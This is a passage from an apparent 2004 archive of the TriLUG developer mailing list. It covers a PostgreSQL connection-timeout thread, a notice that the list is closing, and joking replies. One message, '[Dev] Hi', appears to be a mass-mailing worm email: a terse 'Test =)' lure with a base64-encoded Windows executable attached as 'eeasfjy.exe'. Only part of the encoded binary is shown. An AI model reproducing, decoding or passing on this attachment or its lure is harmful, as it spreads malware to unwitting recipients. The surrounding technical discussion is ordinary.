Jan 2004 22:21:01 -0500 X-List-Received-Date: Wed, 14 Jan 2004 03:21:04 -0000 Did you see this entry? http://forums.devshed.com/t45649/s.html This guy had no problems if both machines were on the same subnet since the connection was directly machine to machine (no firewall or router in-between). You might want to modify your app to put a small heart-beat across the connection every 10 seconds. Read an update block in the Database every 10 seconds. That will act as a keep-alive. Good Luck - Jon Carnes On Tue, 2004-01-13 at 18:10, Richard O. Hammer wrote: > I have PostgreSQL 7.3.2 running on Red Hat 7.3, and I am connecting to > it from a Java Virtual Machine on Windows 2000. Usually it runs fine. > But sometimes it breaks, seemingly with a connection timeout. I > hope for suggestions on what to do about this. > > When my problem happens, I get a stack trace like this on the client > (Windows) side: > > An I/O error occurred while reading from backend - Exception: > java.net.SocketException: Connection reset by peer: JVM_recv in socket > input stream read > Stack Trace: > > java.net.SocketException: Connection reset by peer: JVM_recv in socket > input stream read > at java.net.SocketInputStream.socketRead0(Native Method) > at java.net.SocketInputStream.read(SocketInputStream.java:116) > at java.io.BufferedInputStream.fill(BufferedInputStream.java:183) > at java.io.BufferedInputStream.read(BufferedInputStream.java:201) > at org.postgresql.PG_Stream.ReceiveChar(PG_Stream.java:138) > at org.postgresql.core.QueryExecutor.execute(QueryExecutor.java:71) > ... > > > And on the Linux server side I see the following message in > /var/log/messages. I believe this message relates to the problem I am > having. > > Jan 10 22:54:59 r postgres[27572]: [1] LOG: pq_recvbuf: recv() > failed: Connection timed out > > Searching, I found my error message mentioned on one PostgreSQL email > list. The reply given there told that this is not a PostgreSQL > problem, but an underlying kernel or TCP thing on Linux. > > So, I don't know what to ask exactly, but is there a default TCP > connection timeout on Linux? that I could maybe set? > > Thanks, > Rich Hammer > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From ROHammer@EarthLink.net Wed Jan 14 09:36:32 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from mailscreen.net (mailscreen.net [65.40.90.248]) by moya.trilug.org (Postfix) with ESMTP id 34765A00A8 for ; Wed, 14 Jan 2004 09:36:32 -0500 (EST) Received: FROM 127.0.0.1 ([127.0.0.1]) BY mailscreen.net FOR ; Wed, 14 Jan 2004 09:36:33 -0500 (EST) Message-ID: <400553ED.70809@EarthLink.net> Date: Wed, 14 Jan 2004 09:36:29 -0500 From: "Richard O. Hammer" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Discussion of scripts, programs, and development" Subject: Re: [Dev] PostgreSQL connection timeout References: <40047ADE.7010406@EarthLink.net> <1074050461.5625.5.camel@localhost.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jan 2004 14:36:32 -0000 Jon Carnes wrote: > Did you see this entry? > http://forums.devshed.com/t45649/s.html > > This guy had no problems if both machines were on the same subnet since > the connection was directly machine to machine (no firewall or router > in-between). Thank you, Jon. I had not found that entry. My two machines are both connected to local ports on a Linksys cable/DSL router (this router also uplinks to my DSL modem). So I believe it would be accurate to say my two machines are both in the same subnet; they are 192.168.1.2 and 192.168.1.3 . I don't suppose that is my problem. I've just discovered /proc/sys/net/ipv4/tcp_keepalive_time, and I'm saying Hmmm. Also, I suspect one factor may be that my Windows 2000 machine goes into standby when I walk away from it for 25 minutes, and my connection-reset problems with PostgreSQL on my RH7.3 machine all occur during these long intervals, so far at least. I don't know exactly which services continue to operate during Windows standby, but I wonder if TCP stops sending keepalive segments. > On Tue, 2004-01-13 at 18:10, Richard O. Hammer wrote: > >>I have PostgreSQL 7.3.2 running on Red Hat 7.3, and I am connecting to >>it from a Java Virtual Machine on Windows 2000. Usually it runs fine. >> But sometimes it breaks, seemingly with a connection timeout. I >>hope for suggestions on what to do about this. >> >>When my problem happens, I get a stack trace like this on the client >>(Windows) side: >> >>An I/O error occurred while reading from backend - Exception: >>java.net.SocketException: Connection reset by peer: JVM_recv in socket >>input stream read >>Stack Trace: >> >>java.net.SocketException: Connection reset by peer: JVM_recv in socket >>input stream read >> at java.net.SocketInputStream.socketRead0(Native Method) >> at java.net.SocketInputStream.read(SocketInputStream.java:116) >> at java.io.BufferedInputStream.fill(BufferedInputStream.java:183) >> at java.io.BufferedInputStream.read(BufferedInputStream.java:201) >> at org.postgresql.PG_Stream.ReceiveChar(PG_Stream.java:138) >> at org.postgresql.core.QueryExecutor.execute(QueryExecutor.java:71) >>... >> >> >>And on the Linux server side I see the following message in >>/var/log/messages. I believe this message relates to the problem I am >>having. >> >>Jan 10 22:54:59 r postgres[27572]: [1] LOG: pq_recvbuf: recv() >>failed: Connection timed out >> >>Searching, I found my error message mentioned on one PostgreSQL email >>list. The reply given there told that this is not a PostgreSQL >>problem, but an underlying kernel or TCP thing on Linux. >> >>So, I don't know what to ask exactly, but is there a default TCP >>connection timeout on Linux? that I could maybe set? >> >>Thanks, >>Rich Hammer From tbryan@python.net Tue Jan 20 01:57:44 2004 Return-Path: X-Original-To: Dev@trilug.org Delivered-To: Dev@trilug.org Received: from jpenuela (apiedras.ci.ub.es [161.116.236.38]) by moya.trilug.org (Postfix) with SMTP id 4CDA8A0039 for ; Tue, 20 Jan 2004 01:57:43 -0500 (EST) Date: Tue, 20 Jan 2004 07:57:44 +0100 To: Dev@trilug.org From: tbryan@python.net Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------715584218116253" Cc: Subject: [Dev] Hi X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 20 Jan 2004 06:57:44 -0000 ----------715584218116253 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) dodvhyhivecxippeun -- Test, yep. ----------715584218116253 Content-Type: application/x-msdownload; name="pwysp.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="eeasfjy.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA 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CjxiPldhcm5pbmc8L2I+OiAgW0FMRVJUXSBNYWlsYm94IGlzIGF0IDk0MGYgcXVvdGEgaW4g PGI+VW5rbm93bjwvYj4gb24gbGluZSA8Yj4wPC9iPjxicj4K ----------715584218116253-- From jeremyp@pobox.com Wed Feb 4 11:35:43 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id A242DA0092 for ; Wed, 4 Feb 2004 11:35:42 -0500 (EST) From: Jeremy Portzer To: dev@trilug.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-hASW9aGHHeVpQn7G9WgY" Message-Id: <1075912518.3995.12.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 04 Feb 2004 11:35:18 -0500 Subject: [Dev] Dev list being decommissioned X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Feb 2004 16:35:43 -0000 --=-hASW9aGHHeVpQn7G9WgY Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Due to lack of traffic, we are planning on decommissioning this list.=20 Any linux development questions can be directed to trilug@trilug.org. -Jeremy --=20 /---------------------------------------------------------------------\ | Jeremy Portzer jeremyp@pobox.com trilug.org/~jeremy | | GPG Fingerprint: 712D 77C7 AB2D 2130 989F E135 6F9F F7BC CC1A 7B92 | \---------------------------------------------------------------------/ --=-hASW9aGHHeVpQn7G9WgY Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAIR9Fb5/3vMwae5IRApuJAKCk7++Pw/jtT6RDZlBTZeyfoGJx1wCePexx c/4sMs72vjN+msD845FU0Og= =+Spe -----END PGP SIGNATURE----- --=-hASW9aGHHeVpQn7G9WgY-- From dave@matusiak.org Wed Feb 4 13:27:58 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from whirlwind.he.net (whirlwind.he.net [64.62.241.2]) by moya.trilug.org (Postfix) with SMTP id F0608A006C for ; Wed, 4 Feb 2004 13:27:57 -0500 (EST) Received: from matusiak.org ([66.93.240.234]) by whirlwind.he.net for ; Wed, 4 Feb 2004 10:27:51 -0800 Date: Wed, 4 Feb 2004 13:27:51 -0500 Subject: Re: [Dev] Dev list being decommissioned Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: David R.Matusiak To: "Discussion of scripts, programs, and development" Content-Transfer-Encoding: 7bit In-Reply-To: <1075912518.3995.12.camel@jeremy.dtcc.cc.nc.us> Message-Id: X-Mailer: Apple Mail (2.553) X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Feb 2004 18:27:58 -0000 will I at least have some time to clean out my office? On Wednesday, February 4, 2004, at 11:35 AM, Jeremy Portzer wrote: > Due to lack of traffic, we are planning on decommissioning this list. > Any linux development questions can be directed to trilug@trilug.org. > > -Jeremy From jeremyp@pobox.com Wed Feb 4 13:38:16 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from [192.168.95.92] (unknown [198.86.17.21]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id 5CDA7A006C for ; Wed, 4 Feb 2004 13:38:16 -0500 (EST) Subject: Re: [Dev] Dev list being decommissioned From: Jeremy Portzer To: "Discussion of scripts, programs, and development" In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-SrTQONxpkcQwNmFpfVAe" Message-Id: <1075919871.3995.46.camel@jeremy.dtcc.cc.nc.us> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 04 Feb 2004 13:37:52 -0500 X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Feb 2004 18:38:16 -0000 --=-SrTQONxpkcQwNmFpfVAe Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Yes, as long as you plan to recycle all the bits. On Wed, 2004-02-04 at 13:27, David R.Matusiak wrote: > will I at least have some time to clean out my office? >=20 > On Wednesday, February 4, 2004, at 11:35 AM, Jeremy Portzer wrote: >=20 > > Due to lack of traffic, we are planning on decommissioning this list. > > Any linux development questions can be directed to trilug@trilug.org. > > > > -Jeremy --=-SrTQONxpkcQwNmFpfVAe Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAITv+b5/3vMwae5IRAmo2AKCQ32gxBRwY7RWtXzcvw/KaS76v2wCfROvt a/btz7eCj7GLRiE1rXHr/Tk= =gFxd -----END PGP SIGNATURE----- --=-SrTQONxpkcQwNmFpfVAe-- From alchemist@darkcanvas.com Sat Feb 7 08:44:35 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from moltress.darkcanvas.com (user25.net624.nc.sprint-hsd.net [65.41.45.25]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id 8E2ABA002F for ; Sat, 7 Feb 2004 08:44:35 -0500 (EST) Received: from moltress.darkcanvas.com.darkcanvas.com ([192.168.64.30]) by moltress.darkcanvas.com (8.12.10/8.12.10) with ESMTP id i17DiTwr009235 for ; Sat, 7 Feb 2004 08:44:29 -0500 To: "Discussion of scripts, programs, and development" Subject: Re: [Dev] Dev list being decommissioned In-Reply-To: (David R. Matusiak's message of "Wed, 4 Feb 2004 13:27:51 -0500") References: From: Kevin Sonney Organization: DarkCanvas.com Date: Sat, 07 Feb 2004 08:44:28 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-Information: Please contact the ISP for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Feb 2004 13:44:36 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 "David R.Matusiak" writes: > will I at least have some time to clean out my office? And I said, I don't care if they lay me off either, because I told, I told Bill that if they move my desk one more time, then, then I'm, I'm quitting, I'm going to quit. And, and I told Don too, because they've moved my desk four times already this year, and I used to be over by the window, and I could see the squirrels, and they were merry, but then, they switched from the Swingline to the Boston stapler, but I kept my Swingline stapler because it didn't bind up as much, and I kept the staples for the Swingline stapler and it's not okay because if they take my stapler then I'll set the building on fire. -- Milton, "Office Space" - -- - ---------------------------------- - -- Kevin Sonney -- - ---------------------------------- 1024D/320C 0336 3BC4 13EC 4AEC 6AF2 525F CED7 7BB6 12C9 Reality is that which, when you stop believing in it, doesn't go away -- Philip K. Dick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.8 iD8DBQFAJOu6Ul/O13u2EskRAuVxAJ9vbN39j1EueC4bsNtCdy2CNNQi8gCgl3B6 E7yqyzFKDz2339GM6hWLeW4= =CK1D -----END PGP SIGNATURE----- From john@radiomind.com Tue Feb 10 00:33:39 2004 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from nc-britsys-02.WWW.BRITSYS.NET (dns1.britsys.net [216.183.103.5]) by moya.trilug.org (Postfix) with ESMTP id 7B7E2A006D for ; Tue, 10 Feb 2004 00:33:39 -0500 (EST) Received: from marconi.radiomind.com ([69.26.137.42]) by nc-britsys-02.WWW.BRITSYS.NET with Microsoft SMTPSVC(5.0.2195.6713); Tue, 10 Feb 2004 00:33:43 -0500 Received: from localhost (localhost [127.0.0.1]) by marconi.radiomind.com (Postfix) with ESMTP id 4E37810C12A for ; Tue, 10 Feb 2004 00:33:38 -0500 (EST) Received: from marconi.radiomind.com ([127.0.0.1]) by localhost (marconi [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 24622-04 for ; Tue, 10 Feb 2004 00:33:37 -0500 (EST) Received: from radiomind.com (marconi.radiomind.com [172.23.1.254]) by marconi.radiomind.com (Postfix) with ESMTP id 1529A10C003 for ; Tue, 10 Feb 2004 00:33:37 -0500 (EST) Message-ID: <40286AC4.5090403@radiomind.com> Date: Tue, 10 Feb 2004 00:23:16 -0500 From: John Beimler Organization: Radiomind Studios User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Discussion of scripts, programs, and development" Subject: Re: [Dev] Dev list being decommissioned References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at radiomind.com X-OriginalArrivalTime: 10 Feb 2004 05:33:43.0359 (UTC) FILETIME=[72521CF0:01C3EF97] X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 10 Feb 2004 05:33:39 -0000 Kevin Sonney wrote: >And I said, I don't care if they lay me off either, because I told, I >told Bill that if they move my desk one more time, then, then I'm, I'm >quitting, I'm going to quit. And, and I told Don too, because they've >moved my desk four times already this year, and I used to be over by the >window, and I could see the squirrels, and they were merry, but then, >they switched from the Swingline to the Boston stapler, but I kept my >Swingline stapler because it didn't bind up as much, and I kept the >staples for the Swingline stapler and it's not okay because if they take >my stapler then I'll set the building on fire. > > -- Milton, "Office Space" > > > And by the way, the Red Swingline is on Sale with a rebate at Office Depot, for about $11 after rebates: http://officedepot.crossmediaservices.com/officedepot/listing_detail.asp?listingid=-2098311006&storeid=2279422&offerid=&L1CatID=3674&L2CatID=3676 Peace. john